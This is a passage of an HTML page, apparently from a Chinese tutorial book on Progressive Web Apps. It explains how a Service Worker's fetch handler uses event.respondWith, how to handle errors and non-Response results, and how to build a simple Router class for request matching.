punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x7684;&#x9519;&#x8BEF;&#x7528;&#x6CD5;&#x5F53;&#x4E2D;&#xFF0C;&#x539F;&#x672C;&#x76EE;&#x7684;&#x662F; 1 &#x79D2;&#x949F;&#x4E4B;&#x540E;&#x8FD4;&#x56DE; Response &#x5BF9;&#x8C61;&#xFF0C;&#x4F46;&#x7531;&#x4E8E;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x540C;&#x6B65;&#x6267;&#x884C;&#x5B8C;&#x6BD5;&#x4E4B;&#x524D;&#x6CA1;&#x6709;&#x68C0;&#x6D4B;&#x5230; event.respondWith(r) &#x65B9;&#x6CD5;&#x7684;&#x8C03;&#x7528;&#xFF0C;&#x56E0;&#x6B64;&#x5728; setTimeout &#x6267;&#x884C;&#x56DE;&#x8C03;&#x4E4B;&#x524D;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x5C31;&#x5DF2;&#x7ECF;&#x53D1;&#x8D77;&#x7F51;&#x7EDC;&#x8BF7;&#x6C42;&#x5E76;&#x83B7;&#x53D6;&#x5230;&#x771F;&#x5B9E;&#x7684; data.txt&#xFF0C;&#x56E0;&#x6B64;&#x5B83;&#x7684;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x5E76;&#x4E0D;&#x662F;&#x88AB; Service Worker &#x6539;&#x5199;&#x7684;&#x201C;Hello World!&#x201D;&#x3002;&#x6B63;&#x786E;&#x7684;&#x505A;&#x6CD5;&#x662F;&#xFF0C;&#x5E94;&#x8BE5;&#x5C06;&#x5F02;&#x6B65;&#x5904;&#x7406;&#x7684;&#x64CD;&#x4F5C;&#x5305;&#x88C5;&#x6210;&#x4E00;&#x4E2A; Promise &#x5BF9;&#x8C61;&#x4F20;&#x5165; event.respondWith &#x65B9;&#x6CD5;&#x4E2D;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x6B63;&#x786E;&#x7528;&#x6CD5;</span>\n\n<span class=\"token comment\">// &#x7B49;&#x5F85; 1 &#x79D2;&#x949F;&#x4E4B;&#x540E;&#x5F02;&#x6B65;&#x8FD4;&#x56DE; Response &#x5BF9;&#x8C61;</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resolve</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">setTimeout</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1000</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<h3 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x54CD;&#x5E94;&#x7684;&#x9519;&#x8BEF;&#x5904;&#x7406;</h3>\n<p>&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x5F53;&#x4F7F;&#x7528;&#x4E86; event.respondWith &#x6307;&#x5B9A;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x4E4B;&#x540E;&#xFF0C;&#x65E0;&#x8BBA;&#x662F;&#x4EE5;&#x540C;&#x6B65;&#x8FD8;&#x662F;&#x5F02;&#x6B65;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x6700;&#x7EC8;&#x90FD;&#x9700;&#x8981;&#x8FD4;&#x56DE; Response &#x5BF9;&#x8C61;&#x3002;&#x5047;&#x5982;&#x8FD4;&#x56DE;&#x7684;&#x4E0D;&#x662F; Response &#x5BF9;&#x8C61;&#xFF0C;&#x6216;&#x8005;&#x662F;&#x8FC7;&#x7A0B;&#x4E2D;&#x5B58;&#x5728;&#x4EFB;&#x4F55;&#x672A;&#x5904;&#x7406;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x9664;&#x4E86;&#x4F1A;&#x5BFC;&#x81F4;&#x5BF9;&#x5E94;&#x7684;&#x8BF7;&#x6C42;&#x5931;&#x8D25;&#x4E4B;&#x5916;&#xFF0C;&#x63A7;&#x5236;&#x53F0;&#x8FD8;&#x4F1A;&#x6253;&#x5370;&#x51FA; Service Worker &#x7684;&#x7A0B;&#x5E8F;&#x9519;&#x8BEF;&#x4FE1;&#x606F;&#x3002;&#x4E0B;&#x9762;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#x4E00;&#x4E9B;&#x5E38;&#x89C1;&#x7684;&#x9519;&#x8BEF;&#xFF0C;&#x5E76;&#x6307;&#x51FA;&#x5176;&#x4E2D;&#x9519;&#x8BEF;&#x7684;&#x539F;&#x56E0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x9519;&#x8BEF;&#x539F;&#x56E0;&#xFF1A;promise &#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x975E; Response &#x5BF9;&#x8C61;</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x9519;&#x8BEF;&#x539F;&#x56E0;&#xFF1A;&#x5B58;&#x5728;&#x672A;&#x5904;&#x7406;&#x7684;&#x5F02;&#x6B65;&#x9519;&#x8BEF;</span>\nevent<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x56E0;&#x6B64;&#x5728;&#x8C03;&#x7528; event.respondWith &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x9700;&#x8981;&#x4E3B;&#x52A8;&#x6355;&#x83B7;&#x5E76;&#x5904;&#x7406;&#x9519;&#x8BEF;&#x3001;&#x5904;&#x7406;&#x5F02;&#x5E38;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C01;&#x88C5;&#x4E00;&#x4E2A; respond &#x65B9;&#x6CD5;&#x6765;&#x5904;&#x7406;&#x54CD;&#x5E94;&#x7684;&#x5404;&#x79CD;&#x5F02;&#x5E38;&#xFF0C;&#x5904;&#x7406;&#x5F02;&#x5E38;&#x7684;&#x65B9;&#x5F0F;&#x6211;&#x4EEC;&#x5728;&#x8FD9;&#x91CC;&#x9009;&#x62E9;&#x4E00;&#x79CD;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x90A3;&#x5C31;&#x662F;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x72B6;&#x6001;&#x4E3A; 500 &#x7684; Response &#x5BF9;&#x8C61;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">respond</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">event<span class=\"token punctuation\">,</span> handler</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">try</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x6267;&#x884C;&#x54CD;&#x5E94;&#x5904;&#x7406;&#x65B9;&#x6CD5;&#xFF0C;&#x6839;&#x636E;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x8FDB;&#x884C;&#x515C;&#x5E95;</span>\n    <span class=\"token keyword\">let</span> res <span class=\"token operator\">=</span> <span class=\"token function\">handler</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x5F02;&#x6B65;&#x7684;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x515C;&#x5E95;</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>res <span class=\"token keyword\">instanceof</span> <span class=\"token class-name\">Promise</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">let</span> promise <span class=\"token operator\">=</span> res<span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token comment\">// &#x5982;&#x679C;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x975E; Response &#x5BF9;&#x8C61;&#xFF0C;&#x629B;&#x51FA;&#x9519;&#x8BEF;</span>\n          <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token punctuation\">(</span>response <span class=\"token keyword\">instanceof</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x8FD4;&#x56DE;&#x7ED3;&#x679C;&#x5F02;&#x5E38;&apos;</span><span class=\"token punctuation\">)</span>\n          <span class=\"token punctuation\">}</span>\n          <span class=\"token keyword\">return</span> response\n        <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n        <span class=\"token comment\">// &#x5F02;&#x6B65;&#x54CD;&#x5E94;&#x9519;&#x8BEF;&#x5904;&#x7406;&#xFF0C;&#x5373;&#x76F4;&#x63A5;&#x8FD4;&#x56DE;&#x72B6;&#x6001;&#x7801;&#x4E3A; 500 Response &#x5BF9;&#x8C61;</span>\n        <span class=\"token punctuation\">.</span><span class=\"token function\">catch</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Service Worker &#x51FA;&#x9519;&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>status<span class=\"token punctuation\">:</span> <span class=\"token number\">500</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n      event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>promise<span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n\n    <span class=\"token comment\">// &#x540C;&#x6B65;&#x54CD;&#x5E94;&#x5982;&#x679C;&#x51FA;&#x73B0;&#x4EFB;&#x4F55;&#x9519;&#x8BEF;</span>\n    <span class=\"token comment\">// &#x53EF;&#x4EE5;&#x9009;&#x62E9;&#x4E0D;&#x8C03;&#x7528; event.respondWith(r)</span>\n    <span class=\"token comment\">// &#x8BA9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7EE7;&#x7EED;&#x8D70;&#x6D4F;&#x89C8;&#x5668;&#x9ED8;&#x8BA4;&#x7684;&#x8BF7;&#x6C42;&#x6D41;&#x7A0B;</span>\n\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>res <span class=\"token keyword\">instanceof</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      event<span class=\"token punctuation\">.</span><span class=\"token function\">respondWith</span><span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">catch</span> <span class=\"token punctuation\">(</span>e<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x8FD9;&#x6837;&#xFF0C;&#x524D;&#x9762;&#x63D0;&#x5230;&#x7684;&#x5404;&#x7C7B;&#x5F02;&#x5E38;&#x54CD;&#x5E94;&#x5C31;&#x4E0D;&#x4F1A;&#x5BFC;&#x81F4;&#x63A7;&#x5236;&#x53F0;&#x62A5;&#x9519;&#x4E86;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// &#x7EE7;&#x7EED;&#x8D70;&#x6D4F;&#x89C8;&#x5668;&#x9ED8;&#x8BA4;&#x7684;&#x8BF7;&#x6C42;&#x6D41;&#x7A0B;</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span><span class=\"token keyword\">throw</span> <span class=\"token function\">Error</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x51FA;&#x73B0;&#x5F02;&#x5E38;&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x8FD4;&#x56DE; 500 Response &#x5BF9;&#x8C61;</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">reject</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x6B63;&#x5E38;&#x8FD4;&#x56DE; &apos;Hello World!&apos;</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> Promise<span class=\"token punctuation\">.</span><span class=\"token function\">resolve</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x8FD9;&#x91CC;&#x5C55;&#x793A;&#x7684;&#x8FD4;&#x56DE; 500 &#x53EA;&#x662F;&#x5176;&#x4E2D;&#x4E00;&#x79CD;&#x5904;&#x7406;&#x65B9;&#x5F0F;&#xFF0C;&#x8BFB;&#x8005;&#x53EF;&#x4EE5;&#x5C1D;&#x8BD5;&#x6539;&#x5199;&#x6210;&#x9ED8;&#x8BA4;&#x53D1;&#x8D77; fetch() &#x8BF7;&#x6C42;&#x8FDB;&#x884C;&#x515C;&#x5E95;&#x3002;</p>\n<h2 id=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\"><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\" class=\"plugin-anchor\" href=\"#&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x4E0E;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7BA1;&#x7406;</h2>\n<p>&#x5728; <code>fetch</code> &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x5F53;&#x4E2D;&#x4E3B;&#x8981;&#x8FDB;&#x884C;&#x7740;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5339;&#x914D;&#x548C;&#x54CD;&#x5E94;&#x7ED3;&#x679C;&#x8FD4;&#x56DE;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x53EF;&#x4EE5;&#x628A;&#x8FD9;&#x4E2A;&#x8FC7;&#x7A0B;&#x5F53;&#x505A;&#x4E00;&#x4E2A;&#x8DEF;&#x7531;&#x5206;&#x53D1;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C01;&#x88C5;&#x4E00;&#x4E2A; Router &#x7C7B;&#x6765;&#x5B9E;&#x73B0;&#x5BF9;&#x8DEF;&#x7531;&#x7684;&#x5339;&#x914D;&#x89C4;&#x5219;&#x548C;&#x64CD;&#x4F5C;&#x5206;&#x53D1;&#x7684;&#x7EDF;&#x4E00;&#x7BA1;&#x7406;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">Router</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5B58;&#x653E;&#x8DEF;&#x7531;&#x89C4;&#x5219;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>routes <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n    <span class=\"token comment\">// &#x6CE8;&#x518C; fetch &#x4E8B;&#x4EF6;&#x62E6;&#x622A;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">initProxy</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">initProxy</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;fetch&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x5F53;&#x62E6;&#x622A;&#x5230;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x65F6;&#xFF0C;&#x4F1A;&#x904D;&#x5386;&#x5DF2;&#x6CE8;&#x518C;&#x7684;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#xFF0C;&#x5E76;&#x6267;&#x884C;&#x76F8;&#x5E94;&#x89C4;&#x5219;&#x6240;&#x5BF9;&#x5E94;&#x7684;&#x7B56;&#x7565;</span>\n      <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> route <span class=\"token keyword\">of</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>routes<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token comment\">// &#x4F7F;&#x7528;&#x524D;&#x9762;&#x5C01;&#x88C5;&#x597D;&#x7684; match &#x51FD;&#x6570;&#x8FDB;&#x884C;&#x8DEF;&#x7531;&#x89C4;&#x5219;&#x5339;&#x914D;</span>\n        <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>route<span class=\"token punctuation\">.</span>rule<span class=\"token punctuation\">,</span> event<span class=\"token punctuation\">.</span>request<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n          <span class=\"token comment\">// &#x4F7F;&#x7528;&#x524D;&#x9762;&#x5C01;&#x88C5;&#x597D;&#x7684; respond &#x65B9;&#x6CD5;&#x6267;&#x884C;&#x56DE;&#x8C03;&#x64CD;&#x4F5C;</span>\n          <span class=\"token function\">respond</span><span class=\"token punctuation\">(</span>event<span class=\"token punctuation\">,</span> route<span class=\"token punctuation\">.</span>handler<span class=\"token punctuation\">)</span>\n          <span class=\"token keyword\">break</span>\n        <span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">registerRoute</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">rule<span class=\"token punctuation\">,</span> handler</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>routes<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>rule<span class=\"token punctuation\">,</span> handler<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6709;&#x4E86;&#x8FD9;&#x4E2A; Router &#x7C7B;&#x4E4B;&#x540E;&#xFF0C;&#x5F00;&#x53D1;&#x8005;&#x5C06;&#x53EA;&#x9700;&#x5173;&#x5FC3;&#x5982;&#x4F55;&#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x89C4;&#x5219;&#x5339;&#x914D;&#x548C;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x5B9E;&#x73B0;&#x95EE;&#x9898;&#x3002;&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x4F7F;&#x7528; Router &#x6765;&#x6539;&#x5199;&#x672C;&#x8282;&#x5F00;&#x7BC7;&#x7684;&#x5B9E;&#x4F8B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> router <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Router</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\nrouter<span class=\"token punctuation\">.</span><span class=\"token function\">registerRoute</span><span class=\"token punctuation\">(</span>\n  <span class=\"token string\">&apos;/data.txt&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Response</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Hello World!&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">)</span>\n</code></pre>\n<h2 id=\"&#x5C0F;&#x7ED3;\"><a name=\"&#x5C0F;&#x7ED3;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C0F;&#x7ED3;\" class=\"plugin-anchor\" href=\"#&#x5C0F;&#x7ED3;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C0F;&#x7ED3;</h2>\n<p>&#x672C;&#x8282;&#x5185;&#x5BB9;&#x4E3B;&#x8981;&#x4ECB;&#x7ECD;&#x4E86;&#x5982;&#x4F55;&#x5728; Service Worker &#x4E2D;&#x76D1;&#x542C; <code>fetch</code> &#x4E8B;&#x4EF6;&#x6765;&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x62E6;&#x622A;&#x4EE3;&#x7406;&#xFF0C;&#x4ECB;&#x7ECD;&#x4E86;&#x5982;&#x4F55;&#x901A;&#x8FC7; event.request &#x8FDB;&#x884C;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x5224;&#x65AD;&#xFF0C;&#x5982;&#x4F55;&#x901A;&#x8FC7; event.respondWith &#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x7684;&#x54CD;&#x5E94;&#x3002;&#x6700;&#x540E;&#x5B9E;&#x73B0;&#x4E86; Router &#x7C7B;&#x6765;&#x5B9E;&#x73B0;&#x5BF9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42;&#x548C;&#x54CD;&#x5E94;&#x64CD;&#x4F5C;&#x7684;&#x7EDF;&#x4E00;&#x7BA1;&#x7406;&#x3002;&#x5728;&#x4E0B;&#x4E00;&#x8282;&#xFF0C;&#x5C06;&#x4F1A;&#x8FDB;&#x4E00;&#x6B65;&#x63A2;&#x8BA8;&#x8D44;&#x6E90;&#x54CD;&#x5E94;&#x7684;&#x7B56;&#x7565;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span 